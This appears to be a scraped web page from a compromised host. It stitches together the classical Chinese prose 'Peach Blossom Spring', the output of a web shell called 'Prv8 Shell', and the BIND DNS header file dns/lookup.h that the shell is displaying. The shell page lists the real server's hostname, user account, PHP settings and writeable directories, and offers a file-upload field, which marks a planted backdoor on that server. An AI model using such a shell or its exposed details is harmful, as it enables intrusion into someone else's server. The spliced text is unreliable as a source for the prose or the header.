晋太元中，武陵人捕鱼为业。缘溪行，忘路之远近。忽逢桃花林，夹岸数百步，中无杂树，芳草鲜美，落英缤纷。渔人甚异之，复前行，欲穷其林。 　　林尽水源，便得一山，山有小口，仿佛若有光。便舍船，从口入。初极狭，才通人。复行数十步，豁然开朗。土地平旷，屋舍俨然，有良田、美池、桑竹之属。阡陌交通，鸡犬相闻。其中往来种作，男女衣着，悉如外人。黄发垂髫，并怡然自乐。 　　见渔人，乃大惊，问所从来。具答之。便要还家，设酒杀鸡作食。村中闻有此人，咸来问讯。自云先世避秦时乱，率妻子邑人来此绝境，不复出焉，遂与外人间隔。问今是何世，乃不知有汉，无论魏晋。此人一一为具言所闻，皆叹惋。余人各复延至其家，皆出酒食。停数日，辞去。此中人语云：“不足为外人道也。”(间隔 一作：隔绝) 　　既出，得其船，便扶向路，处处志之。及郡下，诣太守，说如此。太守即遣人随其往，寻向所志，遂迷，不复得路。 　　南阳刘子骥，高尚士也，闻之，欣然规往。未果，寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/include/bind9/dns/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/include/bind9/dns/lookup.h
/*
 * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 *
 * This Source Code Form is subject to the terms of the Mozilla Public
 * License, v. 2.0. If a copy of the MPL was not distributed with this
 * file, you can obtain one at https://mozilla.org/MPL/2.0/.
 *
 * See the COPYRIGHT file distributed with this work for additional
 * information regarding copyright ownership.
 */


#ifndef DNS_LOOKUP_H
#define DNS_LOOKUP_H 1

/*****
 ***** Module Info
 *****/

/*! \file dns/lookup.h
 * \brief
 * The lookup module performs simple DNS lookups.  It implements
 * the full resolver algorithm, both looking for local data and
 * resolving external names as necessary.
 *
 * MP:
 *\li	The module ensures appropriate synchronization of data structures it
 *	creates and manipulates.
 *
 * Reliability:
 *\li	No anticipated impact.
 *
 * Resources:
 *\li	TBS
 *
 * Security:
 *\li	No anticipated impact.
 *
 * Standards:
 *\li	RFCs:	1034, 1035, 2181, TBS
 *\li	Drafts:	TBS
 */

#include <isc/lang.h>
#include <isc/event.h>

#include <dns/types.h>

ISC_LANG_BEGINDECLS

/*%
 * A 'dns_lookupevent_t' is returned when a lookup completes.
 * The sender field will be set to the lookup that completed.  If 'result'
 * is ISC_R_SUCCESS, then 'names' will contain a list of names associated
 * with the address.  The recipient of the event must not change the list
 * and must not refer to any of the name data after the event is freed.
 */
typedef struct dns_lookupevent {
	ISC_EVENT_COMMON(struct dns_lookupevent);
	isc_result_t			result;
	dns_name_t			*name;
	dns_rdataset_t			*rdataset;
	dns_rdataset_t			*sigrdataset;
	dns_db_t			*db;
	dns_dbnode_t			*node;
} dns_lookupevent_t;

isc_result_t
dns_lookup_create(isc_mem_t *mctx, dns_name_t *name, dns_rdatatype_t type,
		  dns_view_t *view, unsigned int options, isc_task_t *task,
		  isc_taskaction_t action, void *arg, dns_lookup_t **lookupp);
/*%<
 * Finds the rrsets matching 'name' and 'type'.
 *
 * Requires:
 *
 *\li	'mctx' is a valid mctx.
 *
 *\li	'name' is a valid name.
 *
 *\li	'view' is a valid view which has a resolver.
 *
 *\li	'task' is a valid task.
 *
 *\li	lookupp != NULL && *lookupp == NULL
 *
 * Returns:
 *
 *\li	ISC_R_SUCCESS
 *\li	ISC_R_NOMEMORY
 *
 *\li	Any resolver-related error (e.g. ISC_R_SHUTTINGDOWN) may also be
 *	returned.
 */

void
dns_lookup_cancel(dns_lookup_t *lookup);
/*%<
 * Cancel 'lookup'.
 *
 * Notes:
 *
 *\li	If 'lookup' has not completed, post its LOOKUPDONE event with a
 *	result code of ISC_R_CANCELED.
 *
 * Requires:
 *
 *\li	'lookup' is a valid lookup.
 */

void
dns_lookup_destroy(dns_lookup_t **lookupp);
/*%<
 * Destroy 'lookup'.
 *
 * Requires:
 *
 *\li	'*lookupp' is a valid lookup.
 *
 *\li	The caller has received the LOOKUPDONE event (either because the
 *	lookup completed or because dns_lookup_cancel() was called).
 *
 * Ensures:
 *
 *\li	*lookupp == NULL.
 */

ISC_LANG_ENDDECLS

#endif /* DNS_LOOKUP_H */

haha - 2025